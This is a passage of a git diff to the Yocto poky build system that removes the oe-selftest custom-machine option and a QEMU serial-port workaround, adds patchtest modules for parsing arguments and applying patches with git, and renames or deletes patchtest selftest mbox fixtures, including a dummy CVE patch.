+ localdata = bb.data.createCopy(tinfoil.config_data)
+ localdata.setVar("TESTVAR", "testval")
+ testrecipe = 'nativesdk-gcc'
+ best = tinfoil.find_best_provider(testrecipe)
+ if not best:
+ self.fail('Unable to find recipe providing %s' % testrecipe)
+ rd = tinfoil.parse_recipe_file(best[3], config_data=localdata)
+ self.assertEqual("testval", rd.getVar('TESTVAR'))
+
def test_list_recipes(self):
with bb.tinfoil.Tinfoil() as tinfoil:
tinfoil.prepare(config_only=False, quiet=2)
diff --git a/poky/meta/lib/oeqa/selftest/context.py b/poky/meta/lib/oeqa/selftest/context.py
index 5a09aeedff..57844b289a 100644
--- a/poky/meta/lib/oeqa/selftest/context.py
+++ b/poky/meta/lib/oeqa/selftest/context.py
@@ -70,8 +70,6 @@ class OESelftestTestContext(OETestContext):
def __init__(self, td=None, logger=None, machines=None, config_paths=None, newbuilddir=None, keep_builddir=None):
super(OESelftestTestContext, self).__init__(td, logger)
- self.machines = machines
- self.custommachine = None
self.config_paths = config_paths
self.newbuilddir = newbuilddir
@@ -160,12 +158,6 @@ class OESelftestTestContext(OETestContext):
return NonConcurrentTestSuite(suites, processes, self.setup_builddir, self.removebuilddir, self.bb_vars)
def runTests(self, processes=None, machine=None, skips=[]):
- if machine:
- self.custommachine = machine
- if machine == 'random':
- self.custommachine = choice(self.machines)
- self.logger.info('Run tests with custom MACHINE set to: %s' % \
- self.custommachine)
return super(OESelftestTestContext, self).runTests(processes, skips)
def listTests(self, display_type, machine=None):
@@ -205,9 +197,6 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
parser.add_argument('-j', '--num-processes', dest='processes', action='store',
type=int, help="number of processes to execute in parallel with")
- parser.add_argument('--machine', required=False, choices=['random', 'all'],
- help='Run tests on different machines (random/all).')
-
parser.add_argument('-t', '--select-tag', dest="select_tags",
action='append', default=None,
help='Filter all (unhidden) tests to any that match any of the specified tag(s).')
@@ -222,20 +211,6 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
parser.add_argument('-v', '--verbose', action='store_true')
parser.set_defaults(func=self.run)
- def _get_available_machines(self):
- machines = []
-
- bbpath = self.tc_kwargs['init']['td']['BBPATH'].split(':')
-
- for path in bbpath:
- found_machines = glob.glob(os.path.join(path, 'conf', 'machine', '*.conf'))
- if found_machines:
- for i in found_machines:
- # eg: '/home/<user>/poky/meta-intel/conf/machine/intel-core2-32.conf'
- machines.append(os.path.splitext(os.path.basename(i))[0])
-
- return machines
-
def _get_cases_paths(self, bbpath):
cases_paths = []
for layer in bbpath:
@@ -266,7 +241,6 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
args.list_tests = 'name'
self.tc_kwargs['init']['td'] = bbvars
- self.tc_kwargs['init']['machines'] = self._get_available_machines()
builddir = os.environ.get("BUILDDIR")
self.tc_kwargs['init']['config_paths'] = {}
@@ -414,30 +388,7 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
rc = None
try:
- if args.machine:
- logger.info('Custom machine mode enabled. MACHINE set to %s' %
- args.machine)
-
- if args.machine == 'all':
- results = []
- for m in self.tc_kwargs['init']['machines']:
- self.tc_kwargs['run']['machine'] = m
- results.append(self._internal_run(logger, args))
-
- # XXX: the oe-selftest script only needs to know if one
- # machine run fails
- for r in results:
- rc = r
- if not r.wasSuccessful():
- break
-
- else:
- self.tc_kwargs['run']['machine'] = args.machine
- return self._internal_run(logger, args)
-
- else:
- self.tc_kwargs['run']['machine'] = args.machine
- rc = self._internal_run(logger, args)
+ rc = self._internal_run(logger, args)
finally:
config_paths = self.tc_kwargs['init']['config_paths']
diff --git a/poky/meta/lib/oeqa/utils/qemurunner.py b/poky/meta/lib/oeqa/utils/qemurunner.py
index a52fa41768..29fe271976 100644
--- a/poky/meta/lib/oeqa/utils/qemurunner.py
+++ b/poky/meta/lib/oeqa/utils/qemurunner.py
@@ -445,11 +445,9 @@ class QemuRunner:
self.logger.debug("Waiting at most %d seconds for login banner (%s)" %
(self.boottime, time.strftime("%D %H:%M:%S")))
endtime = time.time() + self.boottime
- newlinetime = time.time() + 120
filelist = [self.server_socket, self.runqemu.stdout]
reachedlogin = False
stopread = False
- sentnewlines = False
qemusock = None
bootlog = b''
data = b''
@@ -458,16 +456,6 @@ class QemuRunner:
sread, swrite, serror = select.select(filelist, [], [], 5)
except InterruptedError:
continue
- # With the 6.5 kernel, the serial port getty sometimes fails to appear, the data
- # appears lost in some buffer somewhere. Wait two minutes, then if we've not had a login,
- # try and provoke one. This is a workaround until we can work out the root cause.
- if time.time() > newlinetime and not sentnewlines:
- self.logger.warning('Probing the serial port to wake it up!')
- try:
- self.server_socket.sendall(bytes("\n\n", "utf-8"))
- sentnewlines = True
- except BrokenPipeError as e:
- self.logger.debug('Probe failed %s' % repr(e))
for file in sread:
if file is self.server_socket:
qemusock, addr = self.server_socket.accept()
diff --git a/poky/meta/lib/patchtest/data.py b/poky/meta/lib/patchtest/data.py
new file mode 100644
index 0000000000..356259921d
--- /dev/null
+++ b/poky/meta/lib/patchtest/data.py
@@ -0,0 +1,86 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtestdata: module used to share command line arguments between
+# patchtest & test suite and a data store between test cases
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# NOTE: Strictly speaking, unit test should be isolated from outside,
+# but patchtest test suites uses command line input data and
+# pretest and test test cases may use the datastore defined
+# on this module
+
+import os
+import argparse
+import collections
+import logging
+
+logger=logging.getLogger('patchtest')
+info=logger.info
+
+default_testdir = os.path.abspath(os.path.dirname(__file__) + "/tests")
+default_repodir = os.path.abspath(os.path.dirname(__file__) + "/../../..")
+
+# Data store commonly used to share values between pre and post-merge tests
+PatchTestDataStore = collections.defaultdict(str)
+
+class PatchTestInput(object):
+ """Abstract the patchtest argument parser"""
+
+ @classmethod
+ def set_namespace(cls):
+ parser = cls.get_parser()
+ parser.parse_args(namespace=cls)
+
+ @classmethod
+ def get_parser(cls):
+ parser = argparse.ArgumentParser()
+
+ target_patch_group = parser.add_mutually_exclusive_group(required=True)
+
+ target_patch_group.add_argument('--patch', metavar='PATCH', dest='patch_path',
+ help='The patch to be tested')
+
+ target_patch_group.add_argument('--directory', metavar='DIRECTORY', dest='patch_path',
+ help='The directory containing patches to be tested')
+
+ parser.add_argument('--repodir', metavar='REPO',
+ default=default_repodir,
+ help="Name of the repository where patch is merged")
+
+ parser.add_argument('--testdir', metavar='TESTDIR',
+ default=default_testdir,
+ help="Directory where test cases are located")
+
+ parser.add_argument('--top-level-directory', '-t',
+ dest='topdir',
+ default=None,
+ help="Top level directory of project (defaults to start directory)")
+
+ parser.add_argument('--pattern', '-p',
+ dest='pattern',
+ default='test*.py',
+ help="Pattern to match test files")
+
+ parser.add_argument('--base-branch', '-b',
+ dest='basebranch',
+ help="Branch name used by patchtest to branch from. By default, it uses the current one.")
+
+ parser.add_argument('--base-commit', '-c',
+ dest='basecommit',
+ help="Commit ID used by patchtest to branch from. By default, it uses HEAD.")
+
+ parser.add_argument('--debug', '-d',
+ action='store_true',
+ help='Enable debug output')
+
+ parser.add_argument('--log-results',
+ action='store_true',
+ help='Enable logging to a file matching the target patch name with ".testresult" appended')
+
+
+ return parser
+
diff --git a/poky/meta/lib/patchtest/patch.py b/poky/meta/lib/patchtest/patch.py
new file mode 100644
index 0000000000..baf6283873
--- /dev/null
+++ b/poky/meta/lib/patchtest/patch.py
@@ -0,0 +1,62 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtestpatch: PatchTestPatch class which abstracts a patch file
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import logging
+import utils
+
+logger = logging.getLogger('patchtest')
+
+class PatchTestPatch(object):
+ MERGE_STATUS_INVALID = 'INVALID'
+ MERGE_STATUS_NOT_MERGED = 'NOTMERGED'
+ MERGE_STATUS_MERGED_SUCCESSFULL = 'PASS'
+ MERGE_STATUS_MERGED_FAIL = 'FAIL'
+ MERGE_STATUS = (MERGE_STATUS_INVALID,
+ MERGE_STATUS_NOT_MERGED,
+ MERGE_STATUS_MERGED_SUCCESSFULL,
+ MERGE_STATUS_MERGED_FAIL)
+
+ def __init__(self, path, forcereload=False):
+ self._path = path
+ self._forcereload = forcereload
+
+ self._contents = None
+ self._branch = None
+ self._merge_status = PatchTestPatch.MERGE_STATUS_NOT_MERGED
+
+ @property
+ def contents(self):
+ if self._forcereload or (not self._contents):
+ logger.debug('Reading %s contents' % self._path)
+ try:
+ with open(self._path, newline='') as _f:
+ self._contents = _f.read()
+ except IOError:
+ logger.warn("Reading the mbox %s failed" % self.resource)
+ return self._contents
+
+ @property
+ def path(self):
+ return self._path
+
+ @property
+ def branch(self):
+ if not self._branch:
+ self._branch = utils.get_branch(self._path)
+ return self._branch
+
+ def setmergestatus(self, status):
+ self._merge_status = status
+
+ def getmergestatus(self):
+ return self._merge_status
+
+ merge_status = property(getmergestatus, setmergestatus)
+
diff --git a/poky/meta/lib/patchtest/repo.py b/poky/meta/lib/patchtest/repo.py
new file mode 100644
index 0000000000..d3788f466d
--- /dev/null
+++ b/poky/meta/lib/patchtest/repo.py
@@ -0,0 +1,174 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtestrepo: PatchTestRepo class used mainly to control a git repo from patchtest
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import os
+import utils
+import logging
+from patch import PatchTestPatch
+
+logger = logging.getLogger('patchtest')
+info=logger.info
+
+class PatchTestRepo(object):
+
+ # prefixes used for temporal branches/stashes
+ prefix = 'patchtest'
+
+ def __init__(self, patch, repodir, commit=None, branch=None):
+ self._repodir = repodir
+ self._patch = PatchTestPatch(patch)
+ self._current_branch = self._get_current_branch()
+
+ # targeted branch defined on the patch may be invalid, so make sure there
+ # is a corresponding remote branch
+ valid_patch_branch = None
+ if self._patch.branch in self.upstream_branches():
+ valid_patch_branch = self._patch.branch
+
+ # Target Branch
+ # Priority (top has highest priority):
+ # 1. branch given at cmd line
+ # 2. branch given at the patch
+ # 3. current branch
+ self._branch = branch or valid_patch_branch or self._current_branch
+
+ # Target Commit
+ # Priority (top has highest priority):
+ # 1. commit given at cmd line
+ # 2. branch given at cmd line
+ # 3. branch given at the patch
+ # 3. current HEAD
+ self._commit = self._get_commitid(commit) or \
+ self._get_commitid(branch) or \
+ self._get_commitid(valid_patch_branch) or \
+ self._get_commitid('HEAD')
+
+ self._workingbranch = "%s_%s" % (PatchTestRepo.prefix, os.getpid())
+
+ # create working branch
+ self._exec({'cmd': ['git', 'checkout', '-b', self._workingbranch, self._commit]})
+
+ self._patchmerged = False
+
+ # Check if patch can be merged using git-am
+ self._patchcanbemerged = True
+ try:
+ self._exec({'cmd': ['git', 'am', '--keep-cr'], 'input': self._patch.contents})
+ except utils.CmdException as ce:
+ self._exec({'cmd': ['git', 'am', '--abort']})
+ self._patchcanbemerged = False
+ finally:
+ # if patch was applied, remove it
+ if self._patchcanbemerged:
+ self._exec({'cmd':['git', 'reset', '--hard', self._commit]})
+
+ # for debugging purposes, print all repo parameters
+ logger.debug("Parameters")
+ logger.debug("\tRepository : %s" % self._repodir)
+ logger.debug("\tTarget Commit : %s" % self._commit)
+ logger.debug("\tTarget Branch : %s" % self._branch)
+ logger.debug("\tWorking branch : %s" % self._workingbranch)
+ logger.debug("\tPatch : %s" % self._patch)
+
+ @property
+ def patch(self):
+ return self._patch.path
+
+ @property
+ def branch(self):
+ return self._branch
+
+ @property
+ def commit(self):
+ return self._commit
+
+ @property
+ def ismerged(self):
+ return self._patchmerged
+
+ @property
+ def canbemerged(self):
+ return self._patchcanbemerged
+
+ def _exec(self, cmds):
+ _cmds = []
+ if isinstance(cmds, dict):
+ _cmds.append(cmds)
+ elif isinstance(cmds, list):
+ _cmds = cmds
+ else:
+ raise utils.CmdException({'cmd':str(cmds)})
+
+ results = []
+ cmdfailure = False
+ try:
+ results = utils.exec_cmds(_cmds, self._repodir)
+ except utils.CmdException as ce:
+ cmdfailure = True
+ raise ce
+ finally:
+ if cmdfailure:
+ for cmd in _cmds:
+ logger.debug("CMD: %s" % ' '.join(cmd['cmd']))
+ else:
+ for result in results:
+ cmd, rc, stdout, stderr = ' '.join(result['cmd']), result['returncode'], result['stdout'], result['stderr']
+ logger.debug("CMD: %s RCODE: %s STDOUT: %s STDERR: %s" % (cmd, rc, stdout, stderr))
+
+ return results
+
+ def _get_current_branch(self, commit='HEAD'):
+ cmd = {'cmd':['git', 'rev-parse', '--abbrev-ref', commit]}
+ cb = self._exec(cmd)[0]['stdout']
+ if cb == commit:
+ logger.warning('You may be detached so patchtest will checkout to master after execution')
+ cb = 'master'
+ return cb
+
+ def _get_commitid(self, commit):
+
+ if not commit:
+ return None
+
+ try:
+ cmd = {'cmd':['git', 'rev-parse', '--short', commit]}
+ return self._exec(cmd)[0]['stdout']
+ except utils.CmdException as ce:
+ # try getting the commit under any remotes
+ cmd = {'cmd':['git', 'remote']}
+ remotes = self._exec(cmd)[0]['stdout']
+ for remote in remotes.splitlines():
+ cmd = {'cmd':['git', 'rev-parse', '--short', '%s/%s' % (remote, commit)]}
+ try:
+ return self._exec(cmd)[0]['stdout']
+ except utils.CmdException:
+ pass
+
+ return None
+
+ def upstream_branches(self):
+ cmd = {'cmd':['git', 'branch', '--remotes']}
+ remote_branches = self._exec(cmd)[0]['stdout']
+
+ # just get the names, without the remote name
+ branches = set(branch.split('/')[-1] for branch in remote_branches.splitlines())
+ return branches
+
+ def merge(self):
+ if self._patchcanbemerged:
+ self._exec({'cmd': ['git', 'am', '--keep-cr'],
+ 'input': self._patch.contents,
+ 'updateenv': {'PTRESOURCE':self._patch.path}})
+ self._patchmerged = True
+
+ def clean(self):
+ self._exec({'cmd':['git', 'checkout', '%s' % self._current_branch]})
+ self._exec({'cmd':['git', 'branch', '-D', self._workingbranch]})
+ self._patchmerged = False
diff --git a/poky/meta/lib/patchtest/requirements.txt b/poky/meta/lib/patchtest/requirements.txt
index 785aa469f6..ba55ff905e 100644
--- a/poky/meta/lib/patchtest/requirements.txt
+++ b/poky/meta/lib/patchtest/requirements.txt
@@ -1,3 +1,5 @@
+boto3
+git-pw>=2.5.0
jinja2
pylint
pyparsing>=3.0.9
diff --git a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.fail b/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.fail
deleted file mode 100644
index d40b8a936b..0000000000
--- a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.fail
+++ /dev/null
@@ -1,72 +0,0 @@
-From 14d72f6973270f78455a8628143f2cff90e8f41e Mon Sep 17 00:00:00 2001
-From: Trevor Gamblin <tgamblin@baylibre.com>
-Date: Tue, 29 Aug 2023 14:12:27 -0400
-Subject: [PATCH] selftest-hello: fix CVE-1234-56789
-
-This patch should fail the test for CVE presence in the mbox commit message.
-
-Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
----
- .../selftest-hello/files/CVE-1234-56789.patch | 27 +++++++++++++++++++
- .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
- 2 files changed, 31 insertions(+), 2 deletions(-)
- create mode 100644 meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
-
-diff --git a/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
-new file mode 100644
-index 0000000000..869cfb6fe5
---- /dev/null
-+++ b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
-@@ -0,0 +1,27 @@
-+From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
-+From: Trevor Gamblin <tgamblin@baylibre.com>
-+Date: Tue, 29 Aug 2023 14:08:20 -0400
-+Subject: [PATCH] Fix CVE-NOT-REAL
-+
-+CVE: CVE-1234-56789
-+Upstream-Status: Backport(http://example.com/example)
-+
-+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
-+---
-+ strlen.c | 1 +
-+ 1 file changed, 1 insertion(+)
-+
-+diff --git a/strlen.c b/strlen.c
-+index 1788f38..83d7918 100644
-+--- a/strlen.c
-++++ b/strlen.c
-+@@ -8,6 +8,7 @@ int main() {
-+
-+ printf("%d\n", str_len(string1));
-+ printf("%d\n", str_len(string2));
-++ printf("CVE FIXED!!!\n");
-+
-+ return 0;
-+ }
-+--
-+2.41.0
-diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
-index 547587bef4..76975a6729 100644
---- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
-+++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
-@@ -3,7 +3,9 @@ SECTION = "examples"
- LICENSE = "MIT"
- LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
-
--SRC_URI = "file://helloworld.c"
-+SRC_URI = "file://helloworld.c \
-+ file://CVE-1234-56789.patch \
-+ "
-
- S = "${WORKDIR}"
-
-@@ -16,4 +18,4 @@ do_install() {
- install -m 0755 helloworld ${D}${bindir}
- }
-
--BBCLASSEXTEND = "native nativesdk"
-\ No newline at end of file
-+BBCLASSEXTEND = "native nativesdk"
---
-2.41.0
-
diff --git a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.pass b/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.pass
deleted file mode 100644
index 433c7a450a..0000000000
--- a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.pass
+++ /dev/null
@@ -1,74 +0,0 @@
-From 14d72f6973270f78455a8628143f2cff90e8f41e Mon Sep 17 00:00:00 2001
-From: Trevor Gamblin <tgamblin@baylibre.com>
-Date: Tue, 29 Aug 2023 14:12:27 -0400
-Subject: [PATCH] selftest-hello: fix CVE-1234-56789
-
-This test should pass the mbox cve tag test.
-
-CVE: CVE-1234-56789
-
-Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
----
- .../selftest-hello/files/CVE-1234-56789.patch | 27 +++++++++++++++++++
- .../selftest-hello/selftest-hello_1.0.bb | 6 +++--
- 2 files changed, 31 insertions(+), 2 deletions(-)
- create mode 100644 meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
-
-diff --git a/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
-new file mode 100644
-index 0000000000..869cfb6fe5
---- /dev/null
-+++ b/meta-selftest/recipes-test/selftest-hello/files/CVE-1234-56789.patch
-@@ -0,0 +1,27 @@
-+From b26a31186e6ee2eb1f506d5f2f9394d327a0df2f Mon Sep 17 00:00:00 2001
-+From: Trevor Gamblin <tgamblin@baylibre.com>
-+Date: Tue, 29 Aug 2023 14:08:20 -0400
-+Subject: [PATCH] Fix CVE-NOT-REAL
-+
-+CVE: CVE-1234-56789
-+Upstream-Status: Backport(http://example.com/example)
-+
-+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
-+---
-+ strlen.c | 1 +
-+ 1 file changed, 1 insertion(+)
-+
-+diff --git a/strlen.c b/strlen.c
-+index 1788f38..83d7918 100644
-+--- a/strlen.c
-++++ b/strlen.c
-+@@ -8,6 +8,7 @@ int main() {
-+
-+ printf("%d\n", str_len(string1));
-+ printf("%d\n", str_len(string2));
-++ printf("CVE FIXED!!!\n");
-+
-+ return 0;
-+ }
-+--
-+2.41.0
-diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
-index 547587bef4..76975a6729 100644
---- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
-+++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
-@@ -3,7 +3,9 @@ SECTION = "examples"
- LICENSE = "MIT"
- LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
-
--SRC_URI = "file://helloworld.c"
-+SRC_URI = "file://helloworld.c \
-+ file://CVE-1234-56789.patch \
-+ "
-
- S = "${WORKDIR}"
-
-@@ -16,4 +18,4 @@ do_install() {
- install -m 0755 helloworld ${D}${bindir}
- }
-
--BBCLASSEXTEND = "native nativesdk"
-\ No newline at end of file
-+BBCLASSEXTEND = "native nativesdk"
---
-2.41.0
-
diff --git a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.1.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.fail
index 0c40cdc1b6..0c40cdc1b6 100644
--- a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.1.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.1.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.pass
index cbb8ef2cef..cbb8ef2cef 100644
--- a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.1.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.2.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.fail
index 3e2b81bca1..3e2b81bca1 100644
--- a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.2.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.2.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.pass
index f84e1265a7..f84e1265a7 100644
--- a/poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.2.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/Bugzilla.test_bugzilla_entry_format.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.fail
index 80f409e952..80f409e952 100644
--- a/poky/meta/lib/patchtest/selftest/files/Bugzilla.test_bugzilla_entry_format.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/Bugzilla.test_bugzilla_entry_format.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.pass
index 2648b03364..2648b03364 100644
--- a/poky/meta/lib/patchtest/selftest/files/Bugzilla.test_bugzilla_entry_format.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/CommitMessage.test_commit_message_presence.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.fail
index 93ca0f9119..93ca0f9119 100644
--- a/poky/meta/lib/patchtest/selftest/files/CommitMessage.test_commit_message_presence.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/CommitMessage.test_commit_message_presence.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.pass
index 5e3dcbd58b..5e3dcbd58b 100644
--- a/poky/meta/lib/patchtest/selftest/files/CommitMessage.test_commit_message_presence.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.1.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.1.fail
index 9cc4aab38a..9cc4aab38a 100644
--- a/poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.1.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.1.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.2.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.2.fail
index eca1c60085..eca1c60085 100644
--- a/poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.2.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.2.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.pass
index 33940adffc..33940adffc 100644
--- a/poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/Merge.test_series_merge_on_head.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.1.skip
index 2a72457878..2a72457878 100644
--- a/poky/meta/lib/patchtest/selftest/files/Merge.test_series_merge_on_head.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.1.skip
diff --git a/poky/meta/lib/patchtest/selftest/files/Merge.test_series_merge_on_head.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.2.skip
index 49bd1f8ede..49bd1f8ede 100644
--- a/poky/meta/lib/patchtest/selftest/files/Merge.test_series_merge_on_head.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.2.skip
diff --git a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_format.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.fail
index cdbbc61b61..cdbbc61b61 100644
--- a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_format.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_tag_format.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.pass
index ef6017037c..ef6017037c 100644
--- a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_tag_format.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_length.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.fail
index 247b2a8a80..629e78540b 100644
--- a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_length.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.fail
@@ -56,7 +56,7 @@ index 547587bef4..76975a6729 100644
-SRC_URI = "file://helloworld.c"
+SRC_URI = "file://helloworld.c \
-+ file://CVE-1234-56789.patch \
++ file://0001-Fix-CVE-1234-56789.patch \
+ "
S = "${WORKDIR}"
diff --git a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_format.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.pass
index ef6017037c..ef6017037c 100644
--- a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_format.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.1.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.1.fail
index 35d92aeed7..35d92aeed7 100644
--- a/poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.1.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.1.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.2.fail b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.2.fail
index 68f38dee06..68f38dee06 100644
--- a/poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.2.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.2.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/PatchSignedOffBy.test_signed_off_by_presence.pass b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.pass
index ea34c76f0d..ea34c76f0d 100644
--- a/poky/meta/lib/patchtest/selftest/files/PatchSignedOffBy.test_signed_off_by_presence.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned.fail b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.fail
index ab6c52c374..ab6c52c374 100644
--- a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned.pass b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.pass
index 99d9f144da..99d9f144da 100644
--- a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned.pass
